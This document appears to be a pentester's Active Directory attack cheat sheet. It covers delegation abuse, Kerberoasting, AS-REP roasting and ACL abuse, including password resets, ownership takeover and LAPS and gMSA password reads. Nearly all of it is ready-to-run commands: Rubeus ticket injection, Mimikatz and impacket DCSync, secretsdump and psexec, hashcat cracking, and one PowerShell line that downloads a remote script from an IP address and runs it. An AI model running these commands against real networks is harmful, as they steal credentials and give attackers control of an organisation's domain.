Delegations

Unconstrained Delegation

It can only be executed once, as afterwards the Kerberos authentication channel between the DC and the attacking machine remains open.

To run it again, the unconstrained machine (not DC) must be restarted to break the open authentication channel: shutdown /r /t 0

Method 1

  1. Obtain a shell as NT AUTHORITY\SYSTEM on the Unconstrained delegation machine
  2. Start Rubeus in monitor mode: Rubeus.exe monitor /nowrap /interval:1 /filteruser:DC
  3. Trigger the connection:
    • Execute SpoolSample as a domain user: SpoolSample.exe dc03.infinity.com web05.infinity.com
    • Execute SpoolSample from PowerShell as a domain user: `(new-object system.net.webclient).downloadstring('http://192.168.45.158/Invoke-Spoolsample.ps1') | IEX; Invoke-Spoolsample -Command "dc03.infinity.com web05.infinity.com"
    • Execute on Kali as a domain user: python3 printerbugpy '<USERNAME>:<PASSWORD>@dc03.infinity.com' web05.infinity.com
  4. Use the ticket:
    • With Rubeus and Mimikatz:
      1. Import the ticket: Rubeus.exe ptt /ticket:doIFIjCCBR6gAwIBBaEDAgEWo...
      2. Perform a DCSync: .\mimikatz.exe "lsadump::dcsync /domain:infinity.com /all" "exit"
    • With Kali:
      1. Decode the ticket: echo "doIFDDCCBQigAwIBB...ndBsMSU5GSU5JVFkuQ09N" | base64 -d > DC03@INFINITY.COM.kirbi
      2. Convert the ticket: impacket-ticketConverter DC03@INFINITY.COM.kirbi DC03@INFINITY.COM.ccache
      3. Load it: export KRB5CCNAME=DC03@INFINITY.COM.ccache
      4. Configure Kerberos: See below
      5. Request a service ticket: kvno ldap/dc03.infinity.com
      6. Perform a DCSync: impacket-secretsdump -k -no-pass dc03.infinity.com
└─$ cat /etc/krb5.conf
[libdefaults]
        default_realm = INFINITY.COM
        dns_lookup_realm = false
        dns_lookup_kdc = false

[realms]
        INFINITY.COM = {
                kdc = dc03.infinity.com
        }

[domain_realm]
        .infinity.com = INFINITY.COM
        infinity.com = INFINITY.COM
Method 2 (With an existing privileged ticket)
  1. Execute Rubeus to export the tickets: .\Rubeus.exe dump /nowrap /cred > tickets.txt
  2. Extract the tickets to .kirbi files: $tiketsFileName="tickets.txt"; $i=0;$service="";$lines=Get-Content $tiketsFileName;for ($n=0;$n -lt $lines.Count;$n++) { if ($lines[$n] -match "^\s*ServiceName\s+:\s+(.*)") { $service = $matches[1] -replace '[^\w\-\.]', '_' } elseif ($lines[$n] -match "^\s*Base64EncodedTicket\s+:") { $i++; $b64 = $lines[$n+2].Trim(); $encodingArg = if ([int](Get-Host).Version.Major -gt 5) {@{AsByteStream = $true}} else {@{Encoding = "Byte"}}; $binary = [Convert]::FromBase64String($b64); Set-Content -Path "ticket_${i}_$($service).kirbi" -Value $binary @encodingArg }}
  3. Inject the desired ticket: .\Rubeus.exe ptt /ticket:"C:\Tools\CLIENT__cifs_cdc01.prod.corp1.com.kirbi"

Constrained Delegation

Windows

  1. Request a TGT ticket (if one is not already available): Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
    • Using a User and Password (or Hash):
      1. Get the password NTLM hash: Rubeus.exe hash /password:h4x
      2. Inject a new TGT ticket: Rubeus.exe s4u /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
    • Using ticket:
      1. Inject a new TGT ticket: Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
  2. Check using: klist
  • The target service can be supplanted by adding /altservice:CIFS: Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /altservice:CIFS /ptt.

Linux

  1. Request a Service Ticket: impacket-getST -spn 'cifs/FILE02' -impersonate 'Administrator' 'cowmotors.com/svc_file:August25' 2>/dev/null
  2. Load the new ticket: export KRB5CCNAME=Administrator@cifs_FILE02@COWMOTORS.COM.ccache
  3. Use the ticket: impacket-psexec 'Administrator@FILE02' -k -no-pass

Resource-Based Constrained Delegation (RBCD)

Any attack against RBCD needs to happen from a computer account or a service account with a SPN.

  1. Create a new machine (Powermad): New-MachineAccount -MachineAccount attackerComputer -Password $(ConvertTo-SecureString 'SecurePassword123!' -AsPlainText -Force)
  2. Check the machine creation: Get-DomainComputer -Identity attackerComputer
  3. Set the SID variable: $sid =Get-DomainComputer -Identity attackerComputer -Properties objectsid | Select -Expand objectsid
  4. Set the Security Descriptor variable: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
  5. Convert the Security Descriptor to Bytes:
    1. $SDbytes = New-Object byte[] ($SD.BinaryLength)
    2. $SD.GetBinaryForm($SDbytes,0)
  6. Set the msds-allowedtoactonbehalfofotheridentity property to the target machine: Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
  7. Check the property assignation:
    1. $RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    2. $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
    3. $Descriptor.DiscretionaryAcl
    4. ConvertFrom-SID S-1-5-21-3776646582-2086779273-4091361643-2101
    • Using a User and Password (or Hash):
      1. Get the password NTLM hash: Rubeus.exe hash /password:SecurePassword123!
      2. Inject a new TGT ticket: Rubeus.exe s4u /user:attackerComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
    • Using a ticket:
      1. Inject a new TGT ticket: Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt

Kerberos

Kerberoasting

Windows

  • .\Rubeus.exe kerberoast /outfile:hashes.kerberoast

Linux

  • Anonymous: impacket-GetUserSPNs -dc-ip <DC_IP> -request [-usersfile <usernames.txt>] -outputfile hashes.kerberoast <DOMAIN>/
  • Authenticated: impacket-GetUserSPNs -dc-ip <DC_IP> -request -outputfile hashes.kerberoast <DOMAIN>/<USERNAME>

Cracking

  • hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

AS-REP Roasting

Windows

  • .\Rubeus.exe asreproast /nowrap /outfile:hashes.asreproast

Linux

  • Anonymous: impacket-GetNPUsers -dc-ip <DC_IP> -request [-usersfile <usernames.txt>] -outputfile hashes.asreproast <DOMAIN>/
  • Authenticated: impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USERNAME>

Cracking

  • hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

ACLs

GenericAll

User over a Group

Windows

  • net group "Domain Admins" "<TARGET USER>" /ADD /DOMAIN

Linux

  • net rpc group addmem 'Domain Admins' '<TARGET USER>' -U '<DOMAIN>'/'<USERNAME>'%'<PASSWORD>' -S '[<DC IP>|<DOMAIN>]'
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember 'Domain Admins' '<TARGET USER>'

User over a User

Windows

  • Powerview:
    1. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    2. $Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<TARGET USER>', $SecPassword)
  • Powershell:
    1. $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    2. Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $NewPassword

Linux

  • net rpc password '<TARGET USER>' '<NEW PASSWORD>' -U '<DOMAIN>'/'<USERNAME>'%'<PASSWORD>' -S '[<DC IP>|<DOMAIN>]
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set password '<TARGET USER>' 'Password123!'

User over a Computer

Windows

  • Powerview:
    1. Get-DomainComputer -Identity '<TARGET COMPUTER>'
    2. Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights All -PrincipalIdentity '<USERNAME>'
  • PSRemote:
    1. Invoke-Command -ComputerName '<TARGET COMPUTER>' -ScriptBlock { whoami } -Credential $Cred

Linux

  • winrm -hostname <TARGET COMPUTER> -username <USERNAME> -password <PASSWORD> --command 'whoami'
  • impacket-psexec <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET COMPUTER> cmd.exe

GenericWrite

User over a Group

Windows

  • Powerview:
    1. $GroupSID = (Get-DomainGroup -Identity 'Domain Admins').objectsid
    2. Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>' -Verbose
    3. Add-DomainGroupMember -Identity 'Domain Admins' -Members '<TARGET USER>'

Linux

  • rpcclient -U '<DOMAIN>/<USERNAME>%<PASSWORD>' <DC IP> -c 'add_aliasmem domain-admins <TARGET USER>'
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember 'Domain Admins' '<TARGET USER>'

User over a User

Windows

  • Powerview:
    1. Set-DomainUser -Identity '<TARGET USER>' -Description 'Owned by <USERNAME>'
    2. Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>'
  • Powershell:
    1. Set-ADUser -Identity '<TARGET USER>' -Description 'Owned by attacker'

Linux

  • bloodhound-python -c GenericWrite --target '<TARGET USER DN>' --user '<USERNAME>'
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set description '<TARGET USER>' 'Owned by attacker'

User over a Computer

Windows

  • Powerview:
    1. Set-DomainObject -Identity '<TARGET COMPUTER>' -Description 'Owned'
    2. Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>'

Linux

  • impacket-secretsdump <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET COMPUTER>
  • crackmapexec smb <TARGET COMPUTER> -u <USERNAME> -p <PASSWORD> --sam

WriteDACL

User over a Group

Windows

  • Powerview:
    1. $SD = Get-DomainObjectAcl -TargetIdentity 'Domain Admins' -ResolveGUIDs
    2. Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -Rights All -PrincipalIdentity '<TARGET USER>'

Linux

  • impacket-addcomputer -computer-name 'HackerMachine' -computer-pass 'Password123!' -dc-ip <DC IP> -domain <DOMAIN> -username <USERNAME> -password <PASSWORD>
  • bloodhound-python -c WriteDACL --target 'CN=Domain Admins,CN=Users,DC=domain,DC=local' --sid S-1-5-21-XXXXX --user '<TARGET USER>'

User over a User

Windows

  • Powerview:
    1. Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights All -PrincipalIdentity '<USERNAME>'
    2. Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
  • Manual:
    1. dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /takeownership
    2. dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /G <USERNAME>:GA

Linux

  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<TARGET USER DN>' '<USERNAME>'
  • bloodhound-python -c WriteDACL --target '<TARGET USER DN>' --sid '<SID>' --user '<USERNAME>'

User over a Computer

Windows

  • Powerview:
    1. Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights All -PrincipalIdentity '<USERNAME>'
    2. Invoke-Command -ComputerName '<TARGET COMPUTER>' -ScriptBlock {whoami} -Credential $Cred

Linux

  • bloodhound-python -c WriteDACL --target '<COMPUTER DN>' --sid '<SID>' --user '<USERNAME>'
  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<COMPUTER DN>' '<USERNAME>'

WriteOwner

User over a Group

Windows

  • Powerview:
    1. $Sid = (Get-DomainUser -Identity '<TARGET USER>').ObjectSid
    2. Set-DomainObjectOwner -TargetIdentity 'Domain Admins' -OwnerIdentity '<TARGET USER>'
  • Powershell:
    1. dsacls "CN=Domain Admins,CN=Users,DC=domain,DC=local" /takeownership
    2. dsacls "CN=Domain Admins,CN=Users,DC=domain,DC=local" /G <TARGET USER>:GA

Linux

  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner 'CN=Domain Admins,CN=Users,DC=domain,DC=local' '<TARGET USER>'

User over a User

Windows

  • Powerview:
    1. Set-DomainObjectOwner -TargetIdentity '<TARGET USER>' -OwnerIdentity '<USERNAME>'
  • Manual:
    1. dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /takeownership
    2. dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /G <USERNAME>:GA

Linux

  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<TARGET USER DN>' '<USERNAME>'

User over a Computer

Windows

  • Powerview:
    1. Set-DomainObjectOwner -TargetIdentity '<TARGET COMPUTER>' -OwnerIdentity '<USERNAME>'
  • Manual:
    1. dsacls "CN=<TARGET COMPUTER>,CN=Computers,DC=domain,DC=local" /takeownership
    2. dsacls "CN=<TARGET COMPUTER>,CN=Computers,DC=domain,DC=local" /G <USERNAME>:GA

Linux

  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<COMPUTER DN>' '<USERNAME>'

ForceChangePassword

User over a User

Windows

  • Powerview:
    1. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    2. Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $SecPassword
  • Powershell:
    1. net user <TARGET USER> Password123! /domain

Linux

  • net rpc password <TARGET USER> 'Password123!' -U '<DOMAIN>/<USERNAME>'%'<PASSWORD>' -S <DC IP>
  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<TARGET USER>' 'Password123!'

AllExtendedRights

User over a User

Windows

  • Powerview:
    1. $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    2. Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $NewPassword
  • Powershell:
    1. net user <TARGET USER> Password123! /domain

Linux

  • net rpc password <TARGET USER> 'Password123!' -U '<DOMAIN>/<USERNAME>'%'<PASSWORD>' -S <DC IP>
  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<TARGET USER>' 'Password123!'

ReadLAPSPassword

User over a Computer

Windows

  • Powerview:
    • Get-AdmPwdPassword -ComputerName <COMPUTER>
    • Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Select-Object Name, 'ms-Mcs-AdmPwd'
  • Powershell:
    • Get-LapsAADPassword -DeviceIds <COMPUTER> -IncludePasswords -AsPlainText

Linux

  • netexec ldap <DC IP> -u <USERNAME> -p <PASSWORD> --laps
  • bloodhound-python -c laps --dc <DC IP> -u <USERNAME> -p <PASSWORD> -d <DOMAIN>

ReadGMSAPassword

Computer over a User/Computer

Windows

  • DSInternals:
    1. $gmsa = Get-ADServiceAccount -Identity '<TARGET_USER/COMPUTER>' -Properties 'msDS-ManagedPassword'
    2. $mp = $gmsa.'msDS-ManagedPassword'
    3. ConvertFrom-ADManagedPasswordBlob $mp
    4. (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
    5. $cred = new-object system.management.automation.PSCredential "<DOMAIN>\<TARGET_USER/COMPUTER>",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
  • Manual:

Linux

  • gMSADumpergMSADumper.py -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>'
  • bloodyAD --host '<COMPUTER>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' get object 'CN=gmsa_account,CN=Managed Service Accounts,DC=example,DC=local' --attr msDS-ManagedPassword

WriteAccountRestrictions

User over a Computer

Windows

  • Powerview:
    • Enable Unconstrained Delegation:
      1. Set-DomainObject -Identity '<TARGET>' -XOR @{'userAccountControl'=0x80000}
      2. Perform a Unconstrained delegation attack
    • Enable Constrained Delegation:
      1. Set-DomainObject -Identity '<TARGET>' -Set @{'msDS-AllowedToDelegateTo'='<TARGET_SPN (ej: HTTP/webserver.lab.local)>'}
      2. Perform a Constrained delegation attack

Linux

  • Enable Unconstrained Delegation:
    1. bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set user '<TARGET>' --UserAccountControl TRUSTED_FOR_DELEGATION
    2. Perform a Unconstrained delegation attack
  • Enable Constrained Delegation:
    1. bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set user '<TARGET>' --msDS-AllowedToDelegateTo '<TARGET_SPN (ej: HTTP/webserver.lab.local)>'
    2. Perform a Constrained delegation attack